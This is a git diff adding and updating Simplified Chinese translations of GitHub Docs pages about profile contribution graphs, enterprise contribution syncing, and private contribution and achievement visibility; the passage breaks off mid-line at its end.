b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md @@ -0,0 +1,63 @@ +--- +title: 将企业贡献发送到您的 GitHub.com 个人资料 +intro: You can highlight your work on {% data variables.product.prodname_enterprise %} by sending the contribution counts to your {% data variables.product.prodname_dotcom_the_website %} profile. +redirect_from: +- /articles/sending-your-github-enterprise-contributions-to-your-github-com-profile +- /articles/sending-your-github-enterprise-server-contributions-to-your-github-com-profile +- /articles/sending-your-github-enterprise-server-contributions-to-your-githubcom-profile +- /github/setting-up-and-managing-your-github-profile/sending-your-github-enterprise-server-contributions-to-your-githubcom-profile +- /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-your-github-enterprise-server-contributions-to-your-githubcom-profile +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Profiles +shortTitle: Send enterprise contributions +ms.openlocfilehash: 19b26c9e274b66df16434727e42c5c291bacfea7 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145085058" +--- +## 关于 {% data variables.product.prodname_dotcom_the_website %} 个人资料上的企业贡献 + +您的 {% data variables.product.prodname_dotcom_the_website %} 个人资料显示过去 90 天内 {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} 贡献计数。 {% data reusables.github-connect.sync-frequency %} {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} 的贡献计数被视为私人贡献。 提交详细信息将仅显示贡献计数,这些贡献是在 {% data variables.product.prodname_dotcom_the_website %} 以外的 {% data variables.product.prodname_enterprise %} 环境中进行的。 + +您可以决定是否在个人资料中显示私人贡献的计数。 有关详细信息,请参阅“[在个人资料中公开或隐藏你的私人贡献](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile/)”。 + +有关如何计算贡献的详细信息,请参阅“[管理个人资料中的贡献图](/articles/managing-contribution-graphs-on-your-profile/)”。 + +{% note %} + +**注意:** +- 帐户之间的连接受 [GitHub 的隐私声明](/free-pro-team@latest/github/site-policy/github-privacy-statement/)约束,启用连接即表示用户同意 [GitHub 的服务条款](/free-pro-team@latest/github/site-policy/github-terms-of-service)。 + +- 在将 {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} 配置文件连接到 {% data variables.product.prodname_dotcom_the_website %} 配置文件之前,企业所有者必须启用 {% data variables.product.prodname_github_connect %} 并启用环境之间的贡献共享。 有关详细信息,请与企业所有者联系。 + +{% endnote %} + +## 将您的企业贡献发送到您的 {% data variables.product.prodname_dotcom_the_website %} 个人资料 + +{% ifversion fpt or ghec %} + +- 若要将来自 {% data variables.product.prodname_ghe_server %} 的企业贡献发送到你的 {% data variables.product.prodname_dotcom_the_website %} 个人资料,请参阅 {% data variables.product.prodname_ghe_server %} 文档中的“[将企业贡献发送到你的 {% data variables.product.prodname_dotcom_the_website %} 个人资料](/enterprise-server/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)”。 +- 若要将来自 {% data variables.product.prodname_ghe_managed %} 的企业贡献发送到你的 {% data variables.product.prodname_dotcom_the_website %} 个人资料,请参阅 {% data variables.product.prodname_ghe_managed %} 文档中的“[将企业贡献发送到你的 {% data variables.product.prodname_dotcom_the_website %} 个人资料](/github-ae@latest/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)”。 + +{% elsif ghes %} + +1. 登录到 {% data variables.product.prodname_ghe_server %} 和 {% data variables.product.prodname_dotcom_the_website %}。 +1. 在 {% data variables.product.prodname_ghe_server %} 任意页的右上角,单击个人资料照片,然后单击“设置”。 + ![用户栏中的“设置”图标](/assets/images/help/settings/userbar-account-settings.png) {% data reusables.github-connect.github-connect-tab-user-settings %} {% data reusables.github-connect.connect-dotcom-and-enterprise %} +1. 查看 {% data variables.product.prodname_ghe_server %} 将从你的 {% data variables.product.prodname_dotcom_the_website %} 帐户访问的资源,然后单击“授权”。 + ![授权 GitHub Enterprise Server 与 GitHub.com 之间的连接](/assets/images/help/settings/authorize-ghe-to-connect-to-dotcom.png) {% data reusables.github-connect.send-contribution-counts-to-githubcom %} + +{% elsif ghae %} + +1. 登录到 {% data variables.product.prodname_ghe_managed %} 和 {% data variables.product.prodname_dotcom_the_website %}。 +1. 在 {% data variables.product.prodname_ghe_managed %} 任意页的右上角,单击个人资料照片,然后单击“设置”。 + ![用户栏中的“设置”图标](/assets/images/help/settings/userbar-account-settings.png) {% data reusables.github-connect.github-connect-tab-user-settings %} {% data reusables.github-connect.connect-dotcom-and-enterprise %} {% data reusables.github-connect.authorize-connection %} {% data reusables.github-connect.send-contribution-counts-to-githubcom %} + +{% endif %} diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md new file mode 100644 index 0000000000..1848f8ab00 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md @@ -0,0 +1,29 @@ +--- +title: 在个人资料中显示活动概览 +intro: You can enable the activity overview section on your profile to give viewers more context about the types of contributions you make. +redirect_from: +- /articles/showing-an-overview-of-your-activity-on-your-profile +- /github/setting-up-and-managing-your-github-profile/showing-an-overview-of-your-activity-on-your-profile +- /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/showing-an-overview-of-your-activity-on-your-profile +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Profiles +shortTitle: Show an overview +ms.openlocfilehash: a87650ceff7e49269f117a1dd9d8ab3c7b53dcce +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145085057" +--- +{% data reusables.profile.activity-overview-summary %} 有关更多信息,请参阅“[在个人资料中查看贡献](/articles/viewing-contributions-on-your-profile)”。 + +![个人资料中的活动概览部分](/assets/images/help/profile/activity-overview-section.png) + +{% data reusables.profile.access_profile %} +2. 在贡献图上方,使用“贡献设置”下拉菜单,然后选择或取消选择“活动概述” 。 + ![从贡献设置下拉菜单启用活动概览](/assets/images/help/profile/activity-overview.png) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/troubleshooting-commits-on-your-timeline.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/troubleshooting-commits-on-your-timeline.md new file mode 100644 index 0000000000..4635fd2fd8 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/troubleshooting-commits-on-your-timeline.md @@ -0,0 +1,74 @@ +--- +title: 对时间表上的提交进行故障排除 +intro: You can view details for commits from your profile's timeline. If you don't see commits you expect on your profile or can't find commit details from your profile page, the commit date and the commit author date may be different. +redirect_from: +- /articles/troubleshooting-commits-on-your-timeline +- /github/setting-up-and-managing-your-github-profile/troubleshooting-commits-on-your-timeline +- /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/troubleshooting-commits-on-your-timeline +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Profiles +shortTitle: Troubleshoot commits +ms.openlocfilehash: 78adf6a92412c89180adeb49f7a5f446f7ce7f17 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145085055" +--- +## 查看提交详细信息的预期行为 + +在个人资料页面的时间表中,您可以单击特定仓库旁边的提交数量,以查看关于该时间段内提交的更多详细信息,包括仓库中进行的特定更改的差异。 + +![个人资料时间表中的提交链接](/assets/images/help/profile/commit-link-on-profile-timeline.png) + +![提交详细信息](/assets/images/help/commits/commit-details.png) + +## 时间表中的提交缺少提交详细信息 + +如果单击个人资料页面中的提交链接而没有在仓库的提交页面上看到所有预期的提交,则可能会重写 Git 中的提交历史记录,并且提交创作日期和提交日期会不同。 + +![含有表明“未找到 octocat 的任何提交”消息的存储库页面](/assets/images/help/repository/no-commits-found.png) + +## GitHub 如何使用 Git 创作日期和提交日期 + +在 Git 中,创作日期是有人首次使用 `git commit` 创建提交的时间。 除非有人使用 `git commit --amend`、强制推送、变基或其他 Git 命令更改提交日期,否则提交日期与创作日期相同。 + +在个人资料页面上,创作日期用于计算进行提交的时间。 而在仓库中,提交日期用于计算在仓库中进行提交的时间。 + +通常,创作日期和提交日期是相同的,但如果提交历史记录发生变化,您可能会注意到提交顺序将被打乱。 有关详细信息,请参阅“[为什么我的贡献没有在我的个人资料中显示?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)” + +## 查看时间表中提交缺少的提交详细信息 + +可以将 `git show` 命令与 `--pretty=fuller` 标志一起使用,以检查提交创作日期和提交日期是否不同。 + +```shell +$ git show Your commit SHA number --pretty=fuller +commit Your commit SHA number +Author: octocat user email +AuthorDate: Tue Apr 03 02:02:30 2018 +0900 +Commit: Sally Johnson user email +CommitDate: Tue Apr 10 06:25:08 2018 +0900 +``` + +如果创作和提交日期不同,您可以在 URL 中手动更改提交日期以查看提交详细信息。 + +例如: +- 以下 URL 使用的创作日期为 `2018-04-03`: + + `https://github.com/your-organization-or-personal-account/your-repository/commits?author=octocat&since=2018-04-03T00:00:00Z&until=2018-04-03T23:59:59Z` +- 以下 URL 使用的提交日期为 `2018-04-10`: + + `https://github.com/your-organization-or-personal-account/your-repository/commits?author=octocat&since=2018-04-10T00:00:00Z&until=2018-04-10T23:59:59Z` + +使用修改后的提交日期打开 URL 时,您可以看到提交详细信息。 + +![提交详细信息](/assets/images/help/commits/commit-details.png) + +## 时间表中缺少预期的提交 + +如果没有在时间表中看到预期的提交,则可能 Git 中的提交历史记录已重写,并且提交创作日期与提交日期不同。 有关其他可能性,请参阅“[为什么我的贡献没有在我的个人资料中显示?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)” diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md new file mode 100644 index 0000000000..0248315487 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md @@ -0,0 +1,103 @@ +--- +title: 在个人资料中查看贡献 +intro: Your {% data variables.product.product_name %} profile shows off {% ifversion fpt or ghes or ghec %}your pinned repositories as well as{% endif %} a graph of your repository contributions over the past year. +redirect_from: +- /articles/viewing-contributions +- /articles/viewing-contributions-on-your-profile-page +- /articles/viewing-contributions-on-your-profile +- /github/setting-up-and-managing-your-github-profile/viewing-contributions-on-your-profile +- /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Profiles +shortTitle: View contributions +ms.openlocfilehash: fccf691bc2fa865dd6ebcdebd112cbe6da02e0b5 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145098711" +--- +{% ifversion fpt or ghes or ghec %} 贡献图显示公共存储库的活动。 {% endif %}可以选择显示 {% ifversion fpt or ghes or ghec %} 公共和 {% endif %} 私有存储库的活动,并将私有存储库中活动的具体详细信息匿名化。 有关详细信息,请参阅“[在配置文件中公开或隐藏私人贡献](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)”。 + +{% note %} + +注意:仅当用于创作提交的电子邮件地址与在 {% data variables.product.product_name %} 上的帐户相连时,提交才会显示在你的贡献图中。 有关详细信息,请参阅“[为什么我的贡献没有在我的配置文件中显示?](/articles/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)” + +{% endnote %} + +## 计为贡献的内容 + +在您的个人资料页面上,某些操作计为贡献: + +- 提交到存储库的默认分支或 `gh-pages` 分支 +- 创建问题 +- 打开讨论 +- 回答讨论 +- 提议拉取请求 +- 提交拉取请求审查 {% ifversion ghes or ghae %} +- 合作创作存储库默认分支或 `gh-pages` 分支中的提交{% endif %} + +{% data reusables.pull_requests.pull_request_merges_and_contributions %} + +## 受欢迎的仓库 + +此部分显示具有最多查看者的仓库。 {% ifversion fpt or ghes or ghec %}[将存储库固定到配置文件](/articles/pinning-repositories-to-your-profile)后,此部分将更改为“固定的存储库”。{% endif %} + +![受欢迎的仓库](/assets/images/help/profile/profile_popular_repositories.png) + +{% ifversion fpt or ghes or ghec %} + +## 固定的仓库 + +此部分显示最多六个公共仓库,并可包括您的仓库以及您对其做出贡献的仓库。 为便于查看关于你选择提供的存储库的重要详细信息,此部分中的每个存储库均包括所做工作的摘要、存储库已收到的[星号](/articles/saving-repositories-with-stars/)数量以及存储库中使用的主要编程语言。 有关详细信息,请参阅“[将存储库固定到配置文件](/articles/pinning-repositories-to-your-profile)”。 + +![固定的仓库](/assets/images/help/profile/profile_pinned_repositories.png) + +{% endif %} + +## 贡献日历 + +您的贡献日历会显示贡献活动。 + +### 查看特定时间的贡献 + +- 单击某个日期的方块可显示该 24 小时期间内所做的贡献。 +- 按“Shift”并单击任意日期的方块可显示该时间范围内所做的贡献。 + +{% note %} + +注意:可以在贡献日历中选择最多一个月的范围。 如果您选择更大的时间范围,我们将仅显示一个月的贡献。 + +{% endnote %} + +![您的贡献图](/assets/images/help/profile/contributions_graph.png) + +### 如何计算贡献事件时间 + +对于提交和拉取请求,时间戳的计算方式不同: +- “提交”使用提交时间戳中的时区信息。 有关详细信息,请参阅“[排查日程表上的提交问题](/articles/troubleshooting-commits-on-your-timeline)”。 +- {% data variables.product.product_name %} 上打开的“拉取请求”和“议题”使用浏览器的时区 。 通过 API 打开的内容使用 [API 调用中指定的](https://developer.github.com/changes/2014-03-04-timezone-handling-changes)时间戳或时区。 + +## 活动概述 + +{% data reusables.profile.activity-overview-summary %} 有关详细信息,请参阅“[在配置文件中显示活动概览](/articles/showing-an-overview-of-your-activity-on-your-profile)”。 + +![个人资料中的活动概览部分](/assets/images/help/profile/activity-overview-section.png) + +活动概览中提供的组织根据您在组织中的活跃程度确定优先级。 如果在配置文件简历中 @mention 某个组织,并且你是组织成员,则该组织首先在活动概览中确定优先级。 有关详细信息,请参阅“[提及人员和团队](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)”或“[将个人简介添加到配置文件](/articles/adding-a-bio-to-your-profile/)”。 + +## 贡献活动 + +贡献活动部分包括工作的详细时间表,包括您进行或合作的提交、您提议的拉取请求以及您打开的议题。 可通过单击贡献活动底部的“Show more activity(显示更多活动)”或通过在查看页面右侧时单击你感兴趣的年份来查看一段时间内你的贡献。 重要时刻(如您加入组织、提议第一个拉取请求或打开一个备受瞩目议题的日期)将在贡献活动中突出显示。 如果您在时间表中无法看到某些事件,请检查以确保您仍具有事件发生位置组织或仓库的访问权限。 + +![贡献活动时间过滤器](/assets/images/help/profile/contributions_activity_time_filter.png) + +## 在 {% data variables.product.prodname_dotcom_the_website %} 上查看 {% data variables.product.prodname_enterprise %} 中的贡献 + +如果使用 {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae %} 或 {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} 并且你的企业所有者启用 {% data variables.product.prodname_unified_contributions %},可以向 {% data variables.product.prodname_dotcom_the_website %} 配置文件发送企业贡献计数。 有关详细信息,请参阅“[将企业贡献发送到自己的 {% data variables.product.prodname_dotcom_the_website %} 配置文件](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)”。 + diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md new file mode 100644 index 0000000000..b445c459aa --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md @@ -0,0 +1,105 @@ +--- +title: 为什么我的贡献没有在我的个人资料中显示? +intro: Learn common reasons that contributions may be missing from your contributions graph. +redirect_from: +- /articles/why-are-my-contributions-not-showing-up-on-my-profile +- /github/setting-up-and-managing-your-github-profile/why-are-my-contributions-not-showing-up-on-my-profile +- /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Profiles +shortTitle: Missing contributions +ms.openlocfilehash: c3921897284e16c979542c5f7629690ded2b841e +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145099743" +--- +## 关于您的贡献图 + +您的个人资料贡献图是您参与{% data variables.product.product_location %}{% ifversion ghae %}拥有{% else %}上{% endif %} 的存储库的记录。 贡献按照协调世界时 (UTC) 而不是您当地的时区加时间戳。 只有在满足特定标准时才会计算贡献。 在某些情况下,我们可能需要重建您的图表才能显示贡献。 + +如果您是使用 SAML 单点登录 (SSO) 的组织的成员,则在没有活动的 SSO 会话时,您将无法在配置文件上看到来自该组织的贡献活动。 从组织外部查看您个人资料的用户将看到您组织的贡献活动的匿名贡献活动。 + +## 计算的贡献 + +### 议题、拉取请求和讨论 + +如果议题、拉取请求和讨论在独立的仓库而不是复刻中打开,它们将在您的贡献图中显示。 + +### 提交 +如果提交符合以下所有条件,则会在贡献图中显示: +- 用于提交的电子邮件地址与您在 {% data variables.product.product_location %} 上的帐户关联。 +- 提交在独立的仓库而不是复刻中进行。 +- 提交在以下位置进行: + - 在仓库的默认分支中 + - 在 `gh-pages` 分支(对于具有项目网站的存储库)中 + +有关项目网站的详细信息,请参阅“[关于 {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)”。 + +此外,以下至少一项必须为 true: +- 您是仓库中的协作者,或者是拥有该仓库的组织的成员。 +- 您已复刻该仓库。 +- 您已打开仓库中的拉取请求或议题。 +- 您已为仓库加星标。 + +## 贡献未计算的常见原因 + +{% data reusables.pull_requests.pull_request_merges_and_contributions %} + +### 24 小时内进行的提交 + +进行满足计为贡献要求的提交后,您可能需要等待最长 24 小时才能看到在贡献图中显示的贡献。 + +### 您的本地 Git 提交电子邮件地址未连接到您的帐户 + +提交必须使用与你在 {% data variables.product.product_location %}{% ifversion fpt or ghec %} 上的帐户连接的电子邮件地址进行,或者使用在电子邮件设置中提供给你的 {% data variables.product.prodname_dotcom %} 提供的 `noreply` 电子邮件地址进行,{% endif %}才能显示在你的贡献图上。{% ifversion fpt or ghec %} 有关 `noreply` 电子邮件地址的详细信息,请参阅“[设置提交电子邮件地址](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#about-commit-email-addresses)”。{% endif %} + +可以通过将 `.patch` 添加到提交 URL 的末尾(例如 https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch)来检查用于提交的电子邮件地址: + +``` +From 67c0afc1da354d8571f51b6f0af8f2794117fd10 Mon Sep 17 00:00:00 2001 +From: The Octocat +Date: Sun, 27 Apr 2014 15:36:39 +0530 +Subject: [PATCH] updated index for better welcome message +``` + +`From:` 字段中的电子邮件地址是在[本地 git 配置设置](/articles/set-up-git)中设置的地址。 在此示例中,用于提交的电子邮件地址为 `octocat@nowhere.com`。 + +如果用于提交的电子邮件地址未连接到您的 {% data variables.product.product_location %} 帐户,{% ifversion ghae %}请更改用于在 Git 中创作提交的电子邮件地址。 有关详细信息,请参阅“[设置提交电子邮件地址](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)”。{% else %}必须[将电子邮件地址添加](/articles/adding-an-email-address-to-your-github-account)到 {% data variables.product.product_location %} 上的帐户。 您的贡献图将在添加新地址后自动重建。{% endif %} + +{% warning %} + +警告:通用电子邮件地址(如 `jane@computer.local`)无法添加到 {% data variables.product.prodname_dotcom %} 帐户。 如果为您的提交使用这类电子邮件,则提交不会链接到您的 {% data variables.product.prodname_dotcom %} 个人资料,并且不会在您的贡献图中显示。 + +{% endwarning %} + +### 未在默认分支或 `gh-pages` 分支中执行提交 + +仅发生在默认分支或 `gh-pages` 分支(对于包含项目网站的存储库)中的提交才会计入。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)”。 + +如果提交位于非默认或非 `gh-pages` 分支中,并且你希望将其计入你的贡献,则需要执行以下操作之一: +- [打开拉取请求](/articles/creating-a-pull-request),将更改合并到默认分支或 `gh-pages` 分支中。 +- [更改存储库的默认分支](/github/administering-a-repository/changing-the-default-branch)。 + +{% warning %} + +警告:更改存储库的默认分支将会更改所有存储库协作者的默认分支。 仅当您希望新分支成为进行所有未来拉取请求和提交的基础时才执行此操作。 + +{% endwarning %} + +### 提交在复刻中进行 + +在复刻中进行的提交不会计入您的贡献。 要将其计入,您必须执行以下操作之一: +- [打开拉取请求](/articles/creating-a-pull-request),将更改合并到父存储库中。 +- 要分离复刻并将其变为 {% data variables.product.product_location %} 上独立的仓库,请联系 {% data variables.contact.contact_support %}。 如果该复刻有自己的复刻,让 {% data variables.contact.contact_support %} 了解这些复刻是随您的仓库移入新网络还是留在当前网络中。 有关详细信息,请参阅“[关于分支](/articles/about-forks/)”。 + +## 延伸阅读 + +- [在个人资料中公开或隐藏你的私人贡献](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile) +- [在个人资料页中查看贡献](/articles/viewing-contributions-on-your-profile-page) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md index e88e940a1c..8d844b851e 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md @@ -1,6 +1,6 @@ --- -title: Showing your private contributions and achievements on your profile -intro: 'Your {% data variables.product.product_name %} profile shows a graph of your repository contributions over the past year. You can choose to show anonymized activity from {% ifversion fpt or ghes or ghec %}private and internal{% else %}private{% endif %} repositories{% ifversion fpt or ghes or ghec %} in addition to the activity from public repositories{% endif %}.' +title: 在个人资料上显示你的私有贡献和成就 +intro: '您的 {% data variables.product.product_name %} 个人资料显示过去一年中您的仓库贡献图。 除公共存储库{% endif %}中的活动外,还可选择显示{% ifversion fpt or ghes or ghec %}专用和内部{% else %}专用{% endif %}存储库{% ifversion fpt or ghes or ghec %}中的匿名活动。' redirect_from: - /articles/publicizing-or-hiding-your-private-contributions-on-your-profile - /github/setting-up-and-managing-your-github-profile/publicizing-or-hiding-your-private-contributions-on-your-profile @@ -14,42 +14,40 @@ versions: topics: - Profiles shortTitle: Private contributions and achievements +ms.openlocfilehash: b40e3835bf1548ff4ced75d1207de9a5b493dc90 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147079534' --- - -If you publicize your private contributions, people without access to the private repositories you work in won't be able to see the details of your private contributions. Instead, they'll see the number of private contributions you made on any given day. Your public contributions will include detailed information. For more information, see "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)." +如果公开您的私有贡献,对您处理的私有仓库没有访问权限的人员将无法查看您的私有贡献详情, 而只能看到您在指定日期的贡献数。 您的公共贡献会包含详细信息。 有关详细信息,请参阅“[查看个人资料页面上的贡献](/articles/viewing-contributions-on-your-profile-page)”。 {% note %} -**Note:** {% ifversion fpt or ghes or ghec %}On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.product.product_name %}{% endif %}, public contributions on your profile are visible {% ifversion fpt or ghec %}to anyone in the world who can access {% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}only to other users of {% data variables.location.product_location%}{% endif %}.{% elsif ghae %}On {% data variables.product.prodname_ghe_managed %}, only other members of your enterprise can see the contributions on your profile.{% endif %} +**注意:** {% ifversion fpt or ghes or ghec %}在 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.product.product_name %}{% endif %} 上,你的个人资料上的公共贡献{% ifversion fpt or ghec %}对世界上能访问 {% data variables.product.prodname_dotcom_the_website %} 的任何人{% elsif ghes %}仅对其他 {% data variables.product.product_location%} 用户{% endif %}可见。{% elsif ghae %}在 {% data variables.product.prodname_ghe_managed %} 上,只有你企业的其他成员才可看到你的个人资料上的贡献。{% endif %} {% endnote %} -## Changing the visibility of your private contributions +## 更改私有贡献的可见性 {% data reusables.profile.access_profile %} -1. Publicize or hide your private contributions on your profile: - - To publicize your private contributions, above your contributions graph, use the **Contribution settings** drop-down menu, and select **Private contributions**. Visitors will see your private contribution counts without further details. - ![Enable visitors to see private contributions from contribution settings drop-down menu](/assets/images/help/profile/private-contributions-on.png) - - To hide your private contributions, above your contributions graph, use the **Contribution settings** drop-down menu, and unselect **Private contributions.** Visitors will only see your public contributions. - ![Enable visitors to see private contributions from contribution settings drop-down menu](/assets/images/help/profile/private-contributions-off.png) +1. 在个人资料中公开或隐藏您的私有贡献: + - 要公开你的私有贡献,在贡献图上方,使用“贡献设置”下拉菜单,然后选择“私有贡献” 。 访问者将会看到您的私有贡献数,但没有更多详细信息。 + ![从“贡献设置”下拉菜单允许访问者查看私有贡献](/assets/images/help/profile/private-contributions-on.png) + - 要隐藏你的私有贡献,在贡献图上方,使用“贡献设置”下拉菜单,然后取消选择“私有贡献” 。 访问者将只看到你的公共贡献。 + ![从“贡献设置”下拉菜单允许访问者查看私有贡献](/assets/images/help/profile/private-contributions-off.png) -## Changing the visibility of Achievements +## 更改成就的可见性 {% data reusables.user-settings.access_settings %} -1. Show or hide Achievements on your profile: - - To show Achievements on your profile, navigate to **Profile settings**, and select the checkbox next to **Show Achievements on my profile.** - ![Enable visitors to see Achievements from profile settings](/assets/images/help/profile/achievements-profile-settings-off.png) - - To hide Achievements from your profile, navigate to **Profile settings**, and unselect the checkbox next to **Show Achievements on my profile.** - ![Hide Achievements from visitors in profile settings](/assets/images/help/profile/achievements-profile-settings-on.png) -{% ifversion hide-individual-achievements %} -1. Optionally, to hide individual Achievements from your profile: - {% data reusables.profile.access_profile %} - 1. Navigate to the Achievements section on the left sidebar of your profile and select the Achievements header. ![Achievements on profile sidebar](/assets/images/help/profile/achievements-on-profile.png) - 2. Open the detail view of the achievement you'd like to hide by clicking on the achievement. - 3. Once in the detail view, click the {% octicon "eye" aria-label="The eye icon" %} icon to hide the achievement. ![Achievement detail view](/assets/images/help/profile/achievements-detail-view.png) When hidden, badges will be marked by the {% octicon "eye-closed" aria-label="The eye closed icon" %} icon and are only visible to you. ![Hidden achievements](/assets/images/help/profile/achievements-hidden.png) +1. 在个人资料上显示或隐藏成就: + - 要在个人资料上显示成就,请导航到“个人资料设置”,然后选择“在我的个人资料上显示成就”旁边的复选框。 + ![使访问者能够从配置文件设置查看成就](/assets/images/achievements-profile-settings-off.png) + - 要在个人资料上隐藏成就,请导航到“个人资料设置”,然后取消选中“在我的个人资料上显示成就”旁边的复选框。 + ![在个人资料设置中隐藏访问者的成就](/assets/images/achievements-profile-settings-on.png) -{% endif %} -## Further reading +## 延伸阅读 -- "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)" -- "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)" +- “[在个人资料页中查看贡献](/articles/viewing-contributions-on-your-profile-page)” +- “[为什么我的贡献未显示在我的个人资料上?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)” diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md index 5581d21cd0..8ee42c95d4 100644 --- 